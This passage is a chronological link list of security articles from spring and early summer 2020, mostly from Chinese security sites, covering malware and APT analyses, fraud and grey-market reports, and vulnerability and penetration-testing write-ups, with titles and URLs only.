reset](https://securityaffairs.co/wordpress/101229/cyber-crime/xhelper-unkillable-android-malware.html) - 4.8 [Clicker木马新家族:Haken木马](https://www.freebuf.com/articles/terminal/230524.html) - 4.8 [照弹不误:出站端口受限环境下反弹Shell的思考](https://www.freebuf.com/vuls/232544.html) - 4.8 [如何未经授权访问IOS和macOS上的摄像头](https://www.anquanke.com/post/id/202511) - 4.8 [针对某国际信息通信公司从前期探测到内网提权的一次成功漏洞测试](https://www.freebuf.com/vuls/230441.html) - 4.8 [Molerats在多国政府和电信部门安装后门](https://www.freebuf.com/articles/network/230021.html) - 4.8 [DDG挖矿僵尸网络病毒最新变种分析](https://www.anquanke.com/post/id/202574) - 4.8 [DDG的新征程——自研P2P协议构建混合P2P网络](https://blog.netlab.360.com/ddg-upgrade-to-new-p2p-hybrid-model/) - 4.8 [安全专家在线破解!游戏账号买卖诈骗全过程](https://www.anquanke.com/post/id/202484) - 4.8 [暗网卖口罩,推特卖厕纸,疫情下的海外黑灰产](https://www.freebuf.com/articles/others-articles/232850.html) - 4.9 [针对WannaRen勒索软件的梳理与分析](https://www.secpulse.com/archives/127663.html) - 4.9 [macOS版本Zoom最新本地安全漏洞分析](https://www.anquanke.com/post/id/202673) - 4.9 [Phorpiex僵尸网络技术分析(一)](https://www.freebuf.com/articles/network/230546.html) - 4.10 [【InForSec通讯】ProFuzzer:基于运行时类型嗅探的智能模糊测试 | S&P 2019](https://www.inforsec.org/wp/?p=3934) - 4.10 [Extended ssrf search:一款功能强大的SSRF智能漏洞扫描工具](https://www.freebuf.com/sectool/228925.html) - 4.10 [网赚江湖与流量欺诈](https://www.freebuf.com/articles/network/230875.html) - 4.10 [透明部落组织利用印度美女为诱饵的攻击样本分析](https://www.freebuf.com/articles/paper/232780.html) - 4.12 [Mirai新变体Mukashi分析](https://www.freebuf.com/articles/network/231117.html) - 4.12 [利用“新冠”的勒索病毒和短信蠕虫](https://www.freebuf.com/articles/terminal/231246.html) - 4.13 [鸡肋漏洞组合拳](https://www.secpulse.com/archives/127974.html) - 4.13 [银行手机木马分析](https://www.freebuf.com/articles/terminal/231108.html) - 4.13 [针对区块链中三角攻击检测的跟踪分析](https://www.anquanke.com/post/id/201694) - 4.13 [Donot Team APT组织移动安全事件披露](https://www.anquanke.com/post/id/202757) - 4.13 [新银行木马“Eventbot”,影响234个金融应用](https://www.freebuf.com/articles/terminal/231459.html) - 4.13 [工业互联网安全研究笔记](https://www.freebuf.com/articles/ics-articles/231508.html) - 4.14 [探讨恶意软件检测中的对抗性样本](https://www.anquanke.com/post/id/201761) - 4.14 [一次“SSRF-->RCE”的艰难利用](https://www.anquanke.com/post/id/202966) - 4.14 [入侵分析钻石模型学习笔记](https://www.freebuf.com/articles/network/228120.html) - 4.14 [TonyChen56/GameReverseNote](https://github.com/TonyChen56/GameReverseNote) - 4.14 [TikTok users beware: Hackers could swap your videos with their own](https://nakedsecurity.sophos.com/2020/04/14/tiktok-users-beware-hackers-could-swap-your-videos-with-their-own/) - 4.14 [深入分析Android Binder越界访问漏洞CVE-2020-0041(下):获取root特权](https://www.anquanke.com/post/id/202810) - 4.14 [响尾蛇(SideWinder)APT组织使用新冠疫情为诱饵的攻击活动分析](http://hackernews.cc/archives/29916) - 4.15 [杀软对抗:利用图床匿名上传恶意PE文件](https://www.freebuf.com/articles/system/227532.html) - 4.15 [记一次对PUBG外挂病毒的反制过程](https://www.freebuf.com/articles/web/231670.html) - 4.15 [物联网威胁报告:98%的美国物联网设备流量未加密](https://www.secpulse.com/archives/128340.html) - 4.15 [Fireeye勒索软件部署趋势分析](https://www.freebuf.com/articles/system/231447.html) - 4.15 [Android 中的特殊攻击面(一)——邪恶的对话框](https://paper.seebug.org/1174/) [Android 中的特殊攻击面(二)——危险的deeplink](https://paper.seebug.org/1175/) - 4.15 [Phorpiex僵尸网络技术分析(二)](https://www.freebuf.com/articles/network/230724.html) - 4.16 [Lazarus APT组织利用新冠疫情诱饵针对某国地区的定向攻击分析](https://www.freebuf.com/articles/system/233528.html) - 4.16 [干货|一次对钓鱼邮件攻击者的溯源分析](https://www.secpulse.com/archives/128542.html) - 4.16 [记一次渗透棋牌APP实录](https://www.secpulse.com/archives/128473.html) - 4.16 [USB流量取证分析](https://www.freebuf.com/articles/database/231809.html) - 4.16 [警惕某黑产团伙针对 Windows/Linux 双平台的批量抓鸡行动,已有上千台服务器失陷](http://hackernews.cc/archives/29957) - 4.17 [六种bypass安全软件防护执行的方式](https://www.secpulse.com/archives/128621.html) - 4.17 [TrickBot木马将获取交易身份验证码的应用推向德国银行客户](https://www.freebuf.com/articles/terminal/231903.html) - 4.18 [Github中间人攻击原理分析](https://www.freebuf.com/articles/web/231802.html) - 4.19 [域控管理员帐户架构扩展](https://www.freebuf.com/articles/es/230271.html) - 4.20 [新手段:智能手机和PC散热风扇“合谋”窃取计算机数据](https://www.freebuf.com/news/234339.html) - 4.20 [APT41多漏洞网络攻击分析](https://www.freebuf.com/articles/network/231801.html) - 4.20 [西门子S7系列中间人攻击:流量劫持和转发(一)](https://www.freebuf.com/articles/ics-articles/231701.html) - 4.20 [研究人员:数据泄露事件显示伊朗使用聊天应用进行间谍活动](http://hackernews.cc/archives/29976) - 4.20 [卢明樊:爱奇艺的业务安全风控“秘籍”](https://www.freebuf.com/articles/people/233378.html) - 4.21 [复杂风控场景下,如何打造一款高效的规则引擎](https://www.anquanke.com/post/id/203515) - 4.22 [一个小知识点竟引发了对挖矿脚本的追踪与分析](https://www.anquanke.com/post/id/203613) - 4.22 [去中心化金融平台Lendf.Me黑客攻击事件分析](https://www.anquanke.com/post/id/203548) - 4.22 [“洗钱“意外留下元数据?黑客被迫退回2500万美金](https://www.freebuf.com/news/234573.html) - 4.22 [美发布俄罗斯GRU网络攻击行动报告](https://www.freebuf.com/articles/network/232403.html) - 4.22 [Rocke Group团伙新挖矿变种AliyunMiner分析](https://www.freebuf.com/articles/system/232209.html) - 4.23 [反诈骗之旅(二)诈骗软件又现新变种](https://www.anquanke.com/post/id/203658) - 4.23 [实战中如何绕过杀软用mimikatz获取账号密码](https://www.freebuf.com/articles/web/232534.html) - 4.23 [苹果曝0day安全漏洞,在野利用长达两年多](https://www.freebuf.com/vuls/234783.html) - 4.24 [APT28攻击活动分析报告](https://www.freebuf.com/articles/network/231640.html) - 4.25 [使用FakeNet-NG改进动态恶意软件分析](https://www.freebuf.com/articles/others-articles/232557.html) - 4.26 [Jeopardize:一款针对钓鱼域名的低功耗威胁情报&响应工具](https://www.freebuf.com/sectool/231977.html) - 4.26 [Hermit(隐士)APT 组织 2020 年最新攻击活动分析](http://hackernews.cc/archives/30115) - 4.26 [精准投放Tsunami僵尸网络和“魔铲”挖矿木马的行动分析](https://www.secpulse.com/archives/129355.html) - 4.27 [Linux流行病毒家族&清除方法集锦](https://www.secpulse.com/archives/129476.html) - 4.27 [使用修改后的Tinyshell:深入分析macOS后门TinyTim](https://www.anquanke.com/post/id/203643) - 4.27 [COVID-19攻击手段与数据分析](https://www.freebuf.com/articles/network/234843.html) - 4.27 [Warzone RAT分析报告](https://www.freebuf.com/articles/network/231568.html) - 4.27 [侧信道攻击研究——TIMING](https://www.anquanke.com/post/id/203795) - 4.27 [Outlook滥用利用链](https://www.freebuf.com/vuls/232695.html) - 4.28 [流量分析在安全攻防上的探索实践](https://www.freebuf.com/articles/es/235051.html) - 4.28 [MMCore针对南亚地区的攻击活动分析](https://www.freebuf.com/articles/network/234483.html) - 4.29 [Donot APT团伙近期针对周边国家和地区的攻击活动分析](https://www.anquanke.com/post/id/204095) - 4.29 [揭秘外挂产业链:流水线式生产,主播组队买挂](https://www.freebuf.com/articles/network/234971.html) - 4.29 [谷歌披露影响苹果全平台的 Image I/O 零点击漏洞](http://hackernews.cc/archives/30207) - 4.29 [UU 页游助手升级通道传播独狼 Rootkit 病毒,已感染上万台电脑](http://hackernews.cc/archives/30186) - 4.29 [2020年Q1移动App安全态势研究报告](https://www.anquanke.com/post/id/204029) - 4.29 [浅析CSRF的防御和攻击案例](https://www.anquanke.com/post/id/204052) - 4.29 [利用Mojo IPC的UAF漏洞实现Chrome浏览器沙箱逃逸](https://www.anquanke.com/post/id/203834) - 4.29 [《中国互联网络发展状况统计报告》:被植入后门的网站数量近乎翻三倍](https://www.freebuf.com/news/235508.html) - 4.29 [记一次GorgonAPT组织的完整攻击](https://www.anquanke.com/post/id/204023) - 4.30 [RainbowMiner,一个求生欲极强的挖矿病毒家族](https://www.secpulse.com/archives/129686.html) - 4.30 [TrickMo绕过2FA认证](https://www.freebuf.com/articles/network/232046.html) - 4.30 [新型间谍木马来袭](https://www.anquanke.com/post/id/204118) - 4.30 [疑似响尾蛇APT组织利用冠状病毒相关信息传播恶意lnk文件](https://www.freebuf.com/articles/paper/233166.html) - 4.30 [New Android Malware Targets PayPal, CapitalOne App Users](https://threatpost.com/android-malware-paypal-capitalone-app/155341/) - 4.30 [专业黑客组织潜入 Google Play 至少四年](https://www.solidot.org/story?sid=64256) - 0x04 - 5.1 [Android ransomware found extorting credit card details from users](https://www.hackread.com/android-ransomware-extorts-users-credit-card-details/) - 5.1 [New Android Malware Steals Banking Passwords, Private Data and Keystrokes](https://thehackernews.com/2020/04/android-banking-keylogger.html) - 5.3 [Pekraut:近期新出现的RAT](https://www.freebuf.com/articles/others-articles/232550.html) - 5.4 [谁动了我的宽带?记一次HTTP劫持的发现过程](https://www.freebuf.com/articles/others-articles/232568.html) - 5.4 [病毒事件取证之如何确认中了病毒](https://www.freebuf.com/articles/system/233476.html) - 5.5 [通过代码重用攻击绕过现代XSS防御](https://www.freebuf.com/articles/web/233521.html) - 5.5 [我被“裸聊APP”诈骗了](https://www.anquanke.com/post/id/204266) - 5.5 [从乌克兰电网事件看工控安全态势](https://www.freebuf.com/articles/ics-articles/233680.html) - 5.5 [Kaiji, a new Linux malware targets IoT devices in the wild](https://securityaffairs.co/wordpress/102753/malware/kaiji-linux-iot-malware.html?utm_source=feedly&utm_medium=rss&utm_campaign=kaiji-linux-iot-malware) - 5.6 [西门子S7系列中间人攻击:PLC探测和流量分析(二)](https://www.freebuf.com/articles/ics-articles/233160.html) - 5.6 [一道Android Pwn分析](https://www.anquanke.com/post/id/204393) - 5.6 [成人网站泄露 108 亿条数据](https://www.solidot.org/story?sid=64284) - 5.6 [“零信任”(中):信任即特权](https://www.sec-un.org/%e9%9b%b6%e4%bf%a1%e4%bb%bb%ef%bc%88%e4%b8%ad%ef%bc%89%ef%bc%9a%e4%bf%a1%e4%bb%bb%e5%8d%b3%e7%89%b9%e6%9d%83/) - 5.7 [看德当局如何“花式”实锤俄情报机构黑客对联邦议院攻击](https://www.anquanke.com/post/id/204578) - 5.7 [攻击者利用COVID-19进行恶意行为的七种方式](https://www.freebuf.com/news/233232.html) - 5.7 [2019年度垃圾和钓鱼邮件报告](https://www.freebuf.com/articles/network/233165.html) - 5.7 [Hermit(隐士)APT组织2020年最新攻击活动分析](https://www.freebuf.com/articles/network/235010.html) - 5.7 [APP隐私合规介绍和实施方案](https://www.freebuf.com/articles/security-management/233732.html) - 5.8 [载荷上传下载落地技术](https://www.secpulse.com/archives/130020.html) - 5.8 [恶意软件僵尸网络“黑色玫瑰Lucy”带着勒索软件功能卷土重来](https://www.anquanke.com/post/id/204629) - 5.8 [西门子S7系列中间人攻击:防御和流量异常检测(三)](https://www.freebuf.com/articles/ics-articles/233603.html) - 5.9 [利用“顺丰速运”下发GuLoader恶意软件的风险分析](https://www.anquanke.com/post/id/204839) - 5.9 [Fuzzing ImageIO:iOS图像解析0click攻击](https://www.anquanke.com/post/id/204722) - 5.9 [通过 Trojanized 2FA 应用程序散播 Lazarus Dacls RAT 的 Mac 新变种木马](http://hackernews.cc/archives/30313) - 5.9 [海莲花(OceanLotus) APT组织滥用合法证书传播高级 Android 威胁](http://hackernews.cc/archives/30309) - 5.10 [Blackloan:针对中国、越南、马来西亚VISA用户的新黑产组织](https://www.freebuf.com/articles/terminal/233411.html) - 5.11 [Inhale:一款功能强大的恶意软件分析与分类工具](https://www.freebuf.com/articles/network/233623.html) - 5.11 [ARM设备武器化指南·序](https://www.anquanke.com/post/id/204544) - 5.11 [The Turkish Rat攻击活动分析](https://www.freebuf.com/articles/network/233519.html) - 5.11 [二维码劫持案例分析](https://www.freebuf.com/vuls/234121.html) - 5.12 [API崛起下的Bot管理](http://blog.nsfocus.net/bot-management-20years-0512/) - 5.12 [如果我想日进物理隔离的电网系统......](https://www.anquanke.com/post/id/204346) - 5.12 [Think Fast: Time Between Disclosure, Patch Release and Vulnerability Exploitation — Intelligence for Vulnerability Management, Part Two](https://www.fireeye.com/blog/threat-research/2020/04/time-between-disclosure-patch-release-and-vulnerability-exploitation.html) - 5.12 [智慧城市安全运营体系建设及展望](http://blog.nsfocus.net/security-operation-20years-0512/) - 5.13 [AgentTesla新变种窃取WiFi密码](https://www.freebuf.com/articles/others-articles/234418.html) - 5.13 [“BankerBR” 家族银行木马](https://www.anquanke.com/post/id/205079) - 5.13 [从STIX2.1看安全智能归来](https://www.sec-un.org/%e4%bb%8estix2-1%e7%9c%8b%e5%ae%89%e5%85%a8%e6%99%ba%e8%83%bd%e5%bd%92%e6%9d%a5/) - 5.13 [美国最大 ATM 供应商遭勒索软件攻击](https://www.solidot.org/story?sid=64348) - 5.13 [互联网平台及技术“沦为”黑灰产敛财工具的专项分析](https://www.anquanke.com/post/id/204964) - 5.14 [AI与安全「2」:Attack AI(3)破坏模型完整性——数据投毒攻击](https://www.anquanke.com/post/id/205097) - 5.14 [TrickBot银行木马“锦上添花”:再增加载器模块](https://www.freebuf.com/articles/terminal/233418.html) - 5.14 [电源变扬声器:针对气隙系统的攻击](https://www.anquanke.com/post/id/205022) - 5.14 [汉化远控木马下发挖矿程序,利用肉鸡资源捞金](https://www.secpulse.com/archives/130760.html) - 5.14 [针对南亚政府和军事组织的 BackConfig 恶意软件](https://paper.seebug.org/1202/) - 5.14 [针对欧洲组织的新的僵尸网络 Outlaw 再度来袭](https://paper.seebug.org/1204/) - 5.14 [2019年金融行业网络威胁报告](https://www.freebuf.com/articles/network/234176.html) - 5.14 [通过 Trojanized 2FA 应用程序散播 Lazarus Dacls RAT 的 Mac 新变种木马](https://paper.seebug.org/1203/) - 5.15 [自 2016 年以来 Mandrake Android 恶意软件一直在窃取用户数据](http://hackernews.cc/archives/30442) - 5.15 [Mikroceen 后门程序:对中亚地区政府机构和组织进行秘密间谍活动](http://hackernews.cc/archives/30446) - 5.15 [Russian APT Turla’s COMpfun malware uses HTTP status codes to receive commands](https://securityaffairs.co/wordpress/103274/apt/turla-compfun-malware.html?utm_source=feedly&utm_medium=rss&utm_campaign=turla-compfun-malware) - 5.15 [This powerful Android malware stayed hidden for years, infecting tens of thousands of smartphones](https://www.zdnet.com/article/this-powerful-android-malware-stayed-hidden-years-infected-tens-of-thousands-of-smartphones/) - 5.15 [Ursnif针对意大利公司的新攻击](https://www.freebuf.com/articles/others-articles/234275.html) - 5.15 [恶意软件开发 Part 1](https://www.anquanke.com/post/id/204322) - 5.15 [2019年数据泄露调查报告](https://www.freebuf.com/articles/network/234133.html) - 5.16 [APT41 Speculoos后门分析](https://www.freebuf.com/articles/network/233776.html) - 5.16 [深度解析电商刷单产业链:千万刷手暗潮涌动,平台攻防不断升级](https://www.freebuf.com/articles/network/236258.html) - 5.17 [挖矿病毒深度分析](https://www.freebuf.com/articles/system/234492.html) - 5.18 [Android Malware in COVID-19 Clothes Steals SMS and Contacts](https://labs.bitdefender.com/2020/05/android-malware-in-covid-19-clothes-steals-sms-and-contacts/) - 5.18 [一次针对Intel 471的攻击分析](https://www.freebuf.com/articles/network/233181.html) - 5.18 [复活Navex:使用图查询进行代码分析](https://www.freebuf.com/articles/network/236954.html) - 5.18 [恶意软件开发 Part 2](https://www.anquanke.com/post/id/204332) - 5.18 [应急响应系列之利用ProcessMonitor进行恶意文件分析](https://www.freebuf.com/sectool/234417.html) - 5.18 [浅谈基于开源工具的威胁情报自动化生产](https://paper.seebug.org/1210/) - 5.19 [新的 MacOS Dacls RAT後門程式,展現駭客集團 Lazarus多平台的攻擊能力](https://blog.trendmicro.com.tw/?p=64350) - 5.20 [黑灰产的廉价“温床”——跑分平台](https://www.anquanke.com/post/id/205684) - 5.20 [FPS游戏反作弊系统设计:API调用回溯](https://www.freebuf.com/geek/234548.html) - 5.20 [小心魔域私服客户端捆绑传播远控木马和挖矿木马](http://hackernews.cc/archives/30488) - 5.20 [新的安全漏洞让攻击者伪造出可信的蓝牙外设](http://hackernews.cc/archives/30478) - 5.21 [APP安全检测手册](https://www.freebuf.com/articles/terminal/234926.html) - 5.21 [瞄准“两牙”:新型银行木马攻击葡萄牙和西班牙语用户](https://www.freebuf.com/articles/system/234958.html) - 5.22 [RMS-Runtime-Mobile-Security:一款针对Android Java类和方法的运行时分析工具](https://www.freebuf.com/articles/terminal/235742.html) - 5.22 [LokiBot间谍木马再升级,窃取iOS应用信息](https://www.freebuf.com/articles/network/234877.html) - 5.22 [攻击团伙发现与基于攻击战术的检测思考](http://blog.nsfocus.net/attack-group-0522/) - 5.23 [AgentTesla新变体分析](https://www.freebuf.com/articles/network/234356.html) - 5.24 [窥探裸聊诈骗背后黑色产业链的一角](https://www.freebuf.com/articles/terminal/235339.html) - 5.25 [使用 ZoomEye 寻找 APT 攻击的蛛丝马迹](https://paper.seebug.org/1219/) - 5.25 [Tide-Mars:一款资产管理与威胁监测平台](https://www.anquanke.com/post/id/206460) - 5.25 [啤酒评级应用Untappd竟然可以用来追踪军事人员的个人敏感信息](https://www.anquanke.com/post/id/206525) - 5.25 [Linux流行病毒家族&清除方法集锦](https://www.freebuf.com/articles/system/235071.html) - 5.25 [开源软件SysFlow](https://www.sec-un.org/%e5%bc%80%e6%ba%90%e8%bd%af%e4%bb%b6sysflow/) - 5.26 [曝泰国最大移动运营商泄露83亿条用户数据记录](https://www.freebuf.com/news/237786.html) - 5.26 [蓝牙冒充攻击(BIAS)漏洞原理分析](https://www.anquanke.com/post/id/206624) - 5.26 [利用驱动人生升级通道传播的木马溯源](https://www.freebuf.com/articles/system/225729.html) - 5.26 [FPS游戏反作弊系统设计:特征码扫描与启发扫描](https://www.freebuf.com/geek/235229.html) - 5.27 [报告显示僵尸网络会利用百度贴吧等常用服务进行管理](http://hackernews.cc/archives/30659) - 5.27 [StrandHogg 2.0 flaw allows hackers to hijack almost any Android app](https://www.databreaches.net/strandhogg-2-0-flaw-allows-hackers-to-hijack-almost-any-android-app/) - 5.27 [基于域名图谱嵌入的恶意域名挖掘](http://hackernews.cc/archives/30647) - 5.27 [双枪团伙新动向,借云服务管理数十万僵尸网络](https://www.anquanke.com/post/id/206898) - 5.27 [新型间谍木马来袭](https://www.freebuf.com/articles/terminal/235526.html) - 5.28 [朝鲜APT组织Kimsuky的技术研究分析](https://www.freebuf.com/articles/network/233629.html) - 5.28 [国内“双枪”僵尸网络利用百度贴吧图像进行分发](https://www.freebuf.com/news/238039.html) - 5.28 [Kimsuky APT组织利用假冒的ESET安全软件更新程序进行恶意活动](https://www.freebuf.com/articles/terminal/235603.html) - 5.28 [手机中的生物识别数据泄露漏洞分析](https://www.freebuf.com/vuls/235579.html) - 5.29 [谷歌推出专门网站 帮助人们避免网上诈骗](http://hackernews.cc/archives/30773) - 5.29 [Steganography in targeted attacks on industrial enterprises in Japan and Europe](https://securityaffairs.co/wordpress/103971/hacking/industrial-enterprises-attacks-steganography.html) - 5.29 [APT Group系列:来自北极熊的威胁——Turla](http://blog.nsfocus.net/apt-group-turla-0529/) - 5.29 [高级威胁:Ramsay 恶意软件针对隔离网络的攻击技术分析](https://paper.seebug.org/1223/) - 5.29 [设备指纹干扰与反干扰检测](https://www.freebuf.com/articles/web/235885.html) - 5.30 [Nazar APT组织分析](https://www.freebuf.com/articles/network/236253.html) - 5.30 [挖洞经验 | Townscript票务平台的任意账户劫持](https://www.freebuf.com/vuls/235776.html) - 5.30 [高级威胁:Ramsay恶意软件针对隔离网络的攻击技术分析](https://www.freebuf.com/articles/network/238137.html) - 5.31 [卡巴斯基报告:安卓系统 APP 中可疑广告模块应用](https://paper.seebug.org/1225/) - 5.31 [TorghostNG:一款功能强大的网络流量匿名化工具](https://www.freebuf.com/articles/network/236080.html) - 5.31 [Naikon APT组织分析](https://www.freebuf.com/articles/network/236076.html) - 5.31 [“Sauron Locker”家族病毒新变种](https://www.freebuf.com/articles/terminal/236158.html) - 0x05 - 6.1 [Wolf RAT利用间谍软件对泰国发起攻击](https://www.anquanke.com/post/id/207185) - 6.1 [Critical Android bug lets malicious apps hide in plain sight](https://www.bleepingcomputer.com/news/security/critical-android-bug-lets-malicious-apps-hide-in-plain-sight/) - 6.1 [Sign in with Apple 被爆高危漏洞:可远程劫持任意用户帐号](http://hackernews.cc/archives/30776) - 6.2 [Elemental:一款功能强大的MITRE ATT&CK威胁库](https://www.freebuf.com/articles/network/235740.html) - 6.3 [针对物联网路由协议的Spam DIS攻击](https://www.anquanke.com/post/id/207311) - 6.3 [微信朋友圈分析](https://www.anquanke.com/post/id/207459) - 6.3 [ShellReset RAT 利用基于恶意宏的word文档传播](https://paper.seebug.org/1228/) - 6.4 [Frida-Fuzzer:一款针对API的内存模糊测试框架](https://www.freebuf.com/sectool/233013.html) - 6.4 [从"新"开始学习恶意代码分析——静态分析](https://www.anquanke.com/post/id/207594) - 6.4 [2020年第一季度APT趋势报告](https://www.freebuf.com/articles/network/235773.html) - 6.4 [黑客利用Github机器人,仅100秒窃取1200美金的ETH](https://www.freebuf.com/news/238895.html) - 6.4 [我的主机是不是被gank了?Windows入侵排查初探](https://www.freebuf.com/articles/system/238860.html) - 6.4 [Valak恶意软件分析](https://www.anquanke.com/post/id/207197) - 6.4 [网络隐匿之道:减少痕迹、伪装迷惑](https://www.freebuf.com/articles/others-articles/235873.html) - 6.4 [总结机器学习与安卓恶意软件分析方案](https://www.freebuf.com/articles/neopoints/236703.html) - 6.5 [一次对果聊诈骗的分析:那些你不知道的套路诈骗](https://www.freebuf.com/articles/others-articles/236005.html) - 6.7 [PhantomLance多版本攻击分析](https://www.freebuf.com/articles/network/236398.html) - 6.7 [新工具:使用USBCulprit窃取气隙计算机数据](https://www.freebuf.com/news/239303.html) - 6.7 [iOS逆向之人脸识别绕过](https://www.freebuf.com/vuls/236835.html) - 6.7 [GoBrut僵尸网络新变种](https://www.freebuf.com/articles/others-articles/236935.html) - 6.8 [汉化远控木马下发挖矿程序,利用肉鸡资源捞金](https://www.freebuf.com/articles/system/236732.html) - 6.8 [ret2syscall原理详解与实例分析](https://www.freebuf.com/articles/system/234228.html) - 6.8 [Higaisa APT 相关新的 LNK 攻击分析](https://paper.seebug.org/1235/) - 6.8 [浅谈Forrester零信任架构评估的7个技术维度](https://www.freebuf.com/articles/network/239395.html) - 6.8 [针对南亚的恶意软件BackConfig分析](https://www.freebuf.com/articles/network/236924.html) - 6.8 [Higaisa APT 相关新的 LNK 攻击分析](http://hackernews.cc/archives/30938) - 6.8 [玖色直播安全情报报告](https://www.anquanke.com/post/id/207825) - 6.9 [针对德国用户投递Netwire RAT](https://www.freebuf.com/articles/others-articles/236919.html) - 6.9 [设备风控攻防新挑战:定制ROM改机](https://www.freebuf.com/articles/network/237821.html) - 6.9 [电商薅羊毛研究报告](https://www.freebuf.com/articles/network/238258.html) - 6.10 [以太坊区块链中投毒攻击的威胁分析](https://www.anquanke.com/post/id/207938) - 6.11 [Malicious Apps Pose as Contact Tracing to Infect Android Devices](https://www.infosecurity-magazine.com/news/malicious-apps-contact-android/) - 6.11 [TA410:针对美国公用事业部门的攻击组织再出新的恶意软件](http://hackernews.cc/archives/31054) - 6.11 [TA410:针对美国公用事业部门的攻击组织再出新的恶意软件](https://paper.seebug.org/1241/) - 6.11 [恶意代码分析之行为分析及样本收集](https://www.anquanke.com/post/id/208208) - 6.12 [以威胁情报视角看最近超算系统受攻击事件](https://www.freebuf.com/vuls/237119.html) - 6.12 [黑灰产的廉价“温床”—跑分平台](https://www.freebuf.com/articles/network/237120.html) - 6.12 [Android ‘ActionSpy’ Malware Targets Turkic Minority Group](https://threatpost.com/android-actionspy-malware-targets-turkic-minority-group/156507/) - 6.13 [使用ZoomEye寻找APT攻击的蛛丝马迹](https://www.freebuf.com/sectool/237758.html) - 6.14 [2020第一季度安全威胁分析](https://www.freebuf.com/articles/network/237302.html) - 6.15 [记一次对PUBG吃鸡外挂病毒的反制过程](https://www.secpulse.com/archives/133468.html) - 6.15 [谷歌跟踪Android供应链安全](https://www.freebuf.com/news/237301.html) - 6.16 [冒充医疗科技公司邮件,传播间谍窃密木马](https://www.freebuf.com/articles/system/240053.html) - 6.16 [只知赌博害人不浅,却不知到底是谁操控着赌博平台!](https://www.anquanke.com/post/id/208564) - 6.17 [Agent Tesla 商业木马正通过钓鱼邮件传播,木马生成器已十分成熟](http://hackernews.cc/archives/31139) - 6.18 [AcidBox:Turla Group 开发的针对俄罗斯组织的恶意软件](https://paper.seebug.org/1247/) - 6.18 [利用空中防撞系统欺骗危害飞机安全](https://www.freebuf.com/articles/others-articles/237432.html) - 6.18 [Android 动态分析攻防小结](https://www.secpulse.com/archives/133740.html) - 6.18 [对安全即时通讯软件的流量分析攻击(上)](https://www.anquanke.com/post/id/208678) - 6.18 [AcidBox:Turla Group 开发的针对俄罗斯组织的恶意软件](http://hackernews.cc/archives/31182) - 6.19 [针对知名航天和军事公司的攻击活动分析](http://hackernews.cc/archives/31221) - 6.19 [“贪吃蛇”挖矿木马升级提权工具,对企业网络威胁加剧​](http://hackernews.cc/archives/31194) - 6.19 [黑客利用图形验证来忽悠真人下载恶意文件并逃避自动化检测](http://hackernews.cc/archives/31216) - 6.19 [Suricata工控规则研究](https://www.freebuf.com/articles/ics-articles/237420.html) - 6.19 [针对知名航天和军事公司的攻击活动分析](https://paper.seebug.org/1248/) - 6.19 [腹背受敌之“音量倍增软件”注入导致crash](https://www.anquanke.com/post/id/208808) - 6.19 [小心!间谍可以通过观察房间里的灯泡监听你的谈话](https://www.anquanke.com/post/id/208829) - 6.19 [巡风漏洞扫描系统源码分析](https://www.anquanke.com/post/id/207831) - 6.19 [Aggahc感染链新变化](https://www.freebuf.com/articles/others-articles/237837.html) - 6.22 [“裸聊APP”背后的秘密](https://www.anquanke.com/post/id/208858) - 6.22 [星巴克新漏洞:可访问1亿客户记录](https://www.freebuf.com/news/240839.html) - 6.22 [Wolf RAT利用间谍软件对泰国发起攻击](https://www.freebuf.com/articles/terminal/238348.html) - 6.22 [对安全即时通讯软件的流量分析攻击(下)](https://www.anquanke.com/post/id/208824) - 6.22 [多阶段 APT 攻击使用 C2 功能降低 Cobalt Strike](https://paper.seebug.org/1250/) - 6.22 [GuardMiner 挖矿木马近期活跃,具备蠕虫化主动攻击能力,已有较多企业中招](http://hackernews.cc/archives/31248) - 6.23 [Microsoft Previews Windows Defender APT for Android](https://www.darkreading.com/endpoint/microsoft-previews-windows-defender-apt-for-android/d/d-id/1338160) - 6.23 [新型挖矿病毒借助“海啸”僵尸网络发动DDOS攻击](https://www.freebuf.com/articles/terminal/238438.html) - 6.24 [Rovnix Bootkit 恶意软件相关活动分析](https://paper.seebug.org/1253/) - 6.24 [逆向学习笔记之花指令](https://www.anquanke.com/post/id/208682) - 6.24 ['GoldenSpy' Malware Hidden in Tax Software Spies on Companies Doing Business in China](https://www.darkreading.com/threat-intelligence/d/d-id/1338172) - 6.25 [伊朗Chafer APT组织攻击分析](https://www.freebuf.com/articles/network/239296.html) - 6.25 [Ligolo:一款专为渗透测试人员设计的反向隧道](https://www.freebuf.com/articles/network/238998.html) - 6.25 [脚本系贼寇之风兴起,买卖体系堪比勒索软件](https://www.freebuf.com/articles/system/238899.html) - 6.25 [话费充值平台被利用,变为博彩“洗黑钱”工具](https://www.anquanke.com/post/id/209030) - 6.26 [“驱动人生”挖矿病毒再更新,利用“新冠病毒”邮件传播](https://www.freebuf.com/articles/terminal/238641.html) - 6.26 [用BurpSuit的Brida自定义插件搞定加密签名算法](https://www.freebuf.com/sectool/236911.html) - 6.26 [IoT设备网络数据包抓包改包环境搭建分享](https://www.freebuf.com/sectool/236902.html) - 6.27 [某租车系统Java代码审计之后台注入漏洞分析](https://www.freebuf.com/vuls/238175.html) - 6.27 [GhostShell:一款带有AV绕过和反分析技术的恶意软件研究工具](https://www.freebuf.com/articles/system/239019.html) - 6.27 [Maze勒索软件正式加入披露数据的行列](https://www.freebuf.com/articles/others-articles/238861.html) - 6.27 [使用yarGen提取Linux恶意脚本特征](https://www.freebuf.com/sectool/238293.html) - 6.27 [RangeAmp攻击:将CDN变成DDoS加农炮](https://www.inforsec.org/wp/?p=3997) - 6.28 [BurpCrypto: 万能网站密码爆破测试工具](https://www.freebuf.com/sectool/238272.html) - 6.28 [一种针对纸质投票的可扩展侧信道攻击](https://www.anquanke.com/post/id/209120) - 6.29 [Xserver:一款无需拖壳逆向即可解密APP的通信数据包插件](https://www.freebuf.com/sectool/238841.html) - 6.29 [玖色直播安全情报报告](https://www.freebuf.com/articles/terminal/239252.html) - 6.30 [iOS逆向之Frida Hook绕过人脸识别](https://www.freebuf.com/articles/terminal/238462.html) - 0x06 - 7.1 [安天引擎助力全线产品精准检测SLK格式威胁](https://www.secpulse.com/archives/134501.html) - 7.1 [国外软件工程师:TikTok涉及隐私泄露问题](https://www.anquanke.com/post/id/209405) - 7.1 [Malware Uses Postal App Lure to Send SMS Messages and Steal Data](https://www.infosecurity-magazine.com/news/malware-lure-sms-steal/) - 7.3 [New Mac Ransomware Is Even More Sinister Than It Appears](https://www.wired.com/story/new-mac-ransomware-thiefquest-evilquest/) - 7.3 